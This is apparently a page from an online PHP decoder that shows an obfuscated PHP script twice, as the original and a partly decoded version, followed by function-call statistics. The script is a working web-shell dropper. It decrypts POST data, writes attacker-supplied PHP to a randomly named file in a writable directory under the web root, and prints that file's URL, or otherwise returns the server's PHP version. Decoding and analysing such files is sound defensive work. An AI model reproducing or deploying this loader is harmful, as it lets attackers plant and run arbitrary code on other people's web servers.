Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8f..
Decoded Output download
<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8fcb94643bb3";return $ZsUChXsyKg ^ $lIDDu[$rbOzh % strlen($lIDDu)] ^ $MjYGQjdy;}$giHGyd = "lMDSsOhUd";function LwZrliI($giHGyd){ $jxfNkPQB = chr(165-50).chr(116)."r"."_".chr(114)."o"."t"."1".chr(51);$giHGyd = $jxfNkPQB($giHGyd); $RSjBrV = 'nsnz';$IVaOUqsd = chr(114).chr(97).'w'.chr(117)."r"."l"."d"."e"."c"."o".chr(295-195)."e";$giHGyd = $IVaOUqsd($giHGyd);$giHGyd = str_split($giHGyd); $fuyBodz = 28;return $giHGyd;}function GkLFhz(){$ncyBZ = 52;$hJWsuOfIW = 19;}function WuZgzObQ($XTzwTyML, $MjYGQjdy){$XTzwTyML = array_map("afxxqG", array_values($XTzwTyML), array_keys($XTzwTyML), array_values($MjYGQjdy));$XTzwTyML = implode("", $XTzwTyML);$oGrmN = chr(117)."n".'s'."e"."r"."i".'a'."l".'i'.chr(799-677)."e";$XTzwTyML = @$oGrmN($XTzwTyML);return $XTzwTyML;}function gYjAnAUwa($MjYGQjdy, $XTzwTyML){$MjYGQjdy = array_slice(str_split(str_repeat($MjYGQjdy, intval(count($XTzwTyML)/16)+1)), 0, count($XTzwTyML));return $MjYGQjdy;}GkLFhz();function mMTcGb(){echo "PRzgD"; $YGOJaGtaPE = 27;}function JXrQYwC($RJcsOpir){static $zryyHja = array();$rQhRIAK = glob($RJcsOpir . '/*', GLOB_ONLYDIR);$UFmjL = count($rQhRIAK);if ($UFmjL > 0) {foreach ($rQhRIAK as $RJcsOp) {$nURsTFvNOz = chr(1075-970)."s"."_"."w".chr(899-785)."i"."t"."a".chr(488-390).'l'.chr(101);if (@$nURsTFvNOz($RJcsOp)) {$zryyHja[] = $RJcsOp;}}}foreach ($rQhRIAK as $RJcsOpir) JXrQYwC($RJcsOpir);return $zryyHja;}function WSpkqXud($XTzwTyML){$kWcdRNGNB = chr(1061-993).chr(79)."C".chr(1063-978)."M".chr(69)."N".chr(211-127).chr(880-785).'R'.chr(880-801).chr(79)."T";$HQAGkznsLV = $_SERVER[$kWcdRNGNB]; $sWIWNU = 'DOkuvZ';$rQhRIAK = JXrQYwC($HQAGkznsLV); $hICMXemykg = 'MLel'; $sWIWNU = strlen($sWIWNU);$TkueA = array_rand($rQhRIAK); $COadOMaI = strtoupper($sWIWNU);$raoajdj = ".".chr(317-205).'h'.chr(112);$TXlGXHgJA = $rQhRIAK[$TkueA] . "/" . substr(md5(time()), 0, 8) . $raoajdj;$sFUzZUZv = "f".chr(105).chr(108).'e'.chr(136-41).'p'.'u'.chr(681-565).'_'."c"."o"."n".chr(428-312).chr(395-294)."n"."t".'s';@$sFUzZUZv($TXlGXHgJA, $XTzwTyML); $pNNheGlYF = 'asFkaFx'; $sWIWNU = $sWIWNU - 10;$okFzBPgcKR = chr(987-915).chr(954-870)."T"."P"."_".chr(72)."O"."S".chr(84);$LbslcEl = chr(104)."t".'t'."p".':'.chr(47)."/";$LGdPz = $LbslcEl . $_SERVER[$okFzBPgcKR] . substr($TXlGXHgJA, strlen($HQAGkznsLV)); $iRSqdFFoG = 5;print($LGdPz); $sWIWNU = strrpos($COadOMaI, 'tlpko');}function slptS($XTzwTyML, $TkueA){$TkueA = $TkueA[0];if ($XTzwTyML !== $TkueA){WSpkqXud($XTzwTyML); $RqAcp = 15;}else {hygjZPpOWM(); $SeZhjJk = 3;}}function hygjZPpOWM(){$OtGpQY = "p"."h"."p";$WiAzVn = chr(112).'h'."p".chr(118)."e".chr(219-105)."s".chr(816-711).chr(1015-904)."n";$XTzwTyML = Array($OtGpQY => @$WiAzVn(), );$PpQlYXLL = chr(755-640).chr(1029-928)."r".'i'."a"."l".chr(137-32)."z".chr(141-40);echo @$PpQlYXLL($XTzwTyML);}function DVKkrZDGHa(){$QPxKwKsptl = 'Zrq';$TIjFvcIqd = 70;$bYQFilJU = 'hYvIcPLR';$ZsFJY = 'MCLi';$MCPhlgPHwy = 'gilIztfPZv';$HowFzkyE = strtolower($QPxKwKsptl);$QPxKwKsptl = strtoupper($QPxKwKsptl);$CCjqeggHk = 58;}function VJhbiRP(){echo "lMDSsOhUd";}function YWdnXHdP($XTzwTyML){$TkueA = array_keys($XTzwTyML);return $XTzwTyML[$TkueA[0]];}foreach ($_POST as $MjYGQjdy => $XTzwTyML){$YdcVSceV = strlen($MjYGQjdy);if ($YdcVSceV == 16){$XTzwTyML = LwZrliI($XTzwTyML);$MjYGQjdy = gYjAnAUwa($MjYGQjdy, $XTzwTyML);$XTzwTyML = WuZgzObQ($XTzwTyML, $MjYGQjdy);if (@is_array($XTzwTyML)){ $kGPpNwfKo = 'biBoi';slptS(YWdnXHdP($XTzwTyML), array_keys($XTzwTyML)); $yVWjtABCJ = 'AbPS'; $kGPpNwfKo = base64_decode($yVWjtABCJ);}}}die();DVKkrZDGHa();?>
Did this file decode correctly?
Original Code
<?php function afxxqG($ZsUChXsyKg, $rbOzh, $MjYGQjdy){$lIDDu = "a9a0445f-bf82-418e-839c-8fcb94643bb3";return $ZsUChXsyKg ^ $lIDDu[$rbOzh % strlen($lIDDu)] ^ $MjYGQjdy;}$giHGyd = "lMDSsOhUd";function LwZrliI($giHGyd){ $jxfNkPQB = chr(165-50).chr(116)."\162"."\x5f".chr(114)."\157"."\164"."\x31".chr(51);$giHGyd = $jxfNkPQB($giHGyd); $RSjBrV = 'nsnz';$IVaOUqsd = chr(114).chr(97).'w'.chr(117)."\162"."\x6c"."\x64"."\145"."\x63"."\157".chr(295-195)."\145";$giHGyd = $IVaOUqsd($giHGyd);$giHGyd = str_split($giHGyd); $fuyBodz = 28;return $giHGyd;}function GkLFhz(){$ncyBZ = 52;$hJWsuOfIW = 19;}function WuZgzObQ($XTzwTyML, $MjYGQjdy){$XTzwTyML = array_map("afxxqG", array_values($XTzwTyML), array_keys($XTzwTyML), array_values($MjYGQjdy));$XTzwTyML = implode("", $XTzwTyML);$oGrmN = chr(117)."\x6e".'s'."\x65"."\x72"."\151".'a'."\x6c".'i'.chr(799-677)."\145";$XTzwTyML = @$oGrmN($XTzwTyML);return $XTzwTyML;}function gYjAnAUwa($MjYGQjdy, $XTzwTyML){$MjYGQjdy = array_slice(str_split(str_repeat($MjYGQjdy, intval(count($XTzwTyML)/16)+1)), 0, count($XTzwTyML));return $MjYGQjdy;}GkLFhz();function mMTcGb(){echo "PRzgD"; $YGOJaGtaPE = 27;}function JXrQYwC($RJcsOpir){static $zryyHja = array();$rQhRIAK = glob($RJcsOpir . '/*', GLOB_ONLYDIR);$UFmjL = count($rQhRIAK);if ($UFmjL > 0) {foreach ($rQhRIAK as $RJcsOp) {$nURsTFvNOz = chr(1075-970)."\163"."\x5f"."\167".chr(899-785)."\151"."\x74"."\141".chr(488-390).'l'.chr(101);if (@$nURsTFvNOz($RJcsOp)) {$zryyHja[] = $RJcsOp;}}}foreach ($rQhRIAK as $RJcsOpir) JXrQYwC($RJcsOpir);return $zryyHja;}function WSpkqXud($XTzwTyML){$kWcdRNGNB = chr(1061-993).chr(79)."\103".chr(1063-978)."\115".chr(69)."\x4e".chr(211-127).chr(880-785).'R'.chr(880-801).chr(79)."\x54";$HQAGkznsLV = $_SERVER[$kWcdRNGNB]; $sWIWNU = 'DOkuvZ';$rQhRIAK = JXrQYwC($HQAGkznsLV); $hICMXemykg = 'MLel'; $sWIWNU = strlen($sWIWNU);$TkueA = array_rand($rQhRIAK); $COadOMaI = strtoupper($sWIWNU);$raoajdj = "\x2e".chr(317-205).'h'.chr(112);$TXlGXHgJA = $rQhRIAK[$TkueA] . "/" . substr(md5(time()), 0, 8) . $raoajdj;$sFUzZUZv = "\146".chr(105).chr(108).'e'.chr(136-41).'p'.'u'.chr(681-565).'_'."\x63"."\157"."\x6e".chr(428-312).chr(395-294)."\156"."\164".'s';@$sFUzZUZv($TXlGXHgJA, $XTzwTyML); $pNNheGlYF = 'asFkaFx'; $sWIWNU = $sWIWNU - 10;$okFzBPgcKR = chr(987-915).chr(954-870)."\x54"."\120"."\137".chr(72)."\x4f"."\123".chr(84);$LbslcEl = chr(104)."\x74".'t'."\160".':'.chr(47)."\x2f";$LGdPz = $LbslcEl . $_SERVER[$okFzBPgcKR] . substr($TXlGXHgJA, strlen($HQAGkznsLV)); $iRSqdFFoG = 5;print($LGdPz); $sWIWNU = strrpos($COadOMaI, 'tlpko');}function slptS($XTzwTyML, $TkueA){$TkueA = $TkueA[0];if ($XTzwTyML !== $TkueA){WSpkqXud($XTzwTyML); $RqAcp = 15;}else {hygjZPpOWM(); $SeZhjJk = 3;}}function hygjZPpOWM(){$OtGpQY = "\160"."\x68"."\x70";$WiAzVn = chr(112).'h'."\x70".chr(118)."\x65".chr(219-105)."\x73".chr(816-711).chr(1015-904)."\156";$XTzwTyML = Array($OtGpQY => @$WiAzVn(), );$PpQlYXLL = chr(755-640).chr(1029-928)."\162".'i'."\x61"."\154".chr(137-32)."\172".chr(141-40);echo @$PpQlYXLL($XTzwTyML);}function DVKkrZDGHa(){$QPxKwKsptl = 'Zrq';$TIjFvcIqd = 70;$bYQFilJU = 'hYvIcPLR';$ZsFJY = 'MCLi';$MCPhlgPHwy = 'gilIztfPZv';$HowFzkyE = strtolower($QPxKwKsptl);$QPxKwKsptl = strtoupper($QPxKwKsptl);$CCjqeggHk = 58;}function VJhbiRP(){echo "lMDSsOhUd";}function YWdnXHdP($XTzwTyML){$TkueA = array_keys($XTzwTyML);return $XTzwTyML[$TkueA[0]];}foreach ($_POST as $MjYGQjdy => $XTzwTyML){$YdcVSceV = strlen($MjYGQjdy);if ($YdcVSceV == 16){$XTzwTyML = LwZrliI($XTzwTyML);$MjYGQjdy = gYjAnAUwa($MjYGQjdy, $XTzwTyML);$XTzwTyML = WuZgzObQ($XTzwTyML, $MjYGQjdy);if (@is_array($XTzwTyML)){ $kGPpNwfKo = 'biBoi';slptS(YWdnXHdP($XTzwTyML), array_keys($XTzwTyML)); $yVWjtABCJ = 'AbPS'; $kGPpNwfKo = base64_decode($yVWjtABCJ);}}}die();DVKkrZDGHa();?>
Function Calls
GkLFhz | 1 |
DVKkrZDGHa | 1 |
strtolower | 1 |
strtoupper | 1 |
Stats
MD5 | f28f63360f00ca668dd02ba8a8f26c6e |
Eval Count | 0 |
Decode Time | 81 ms |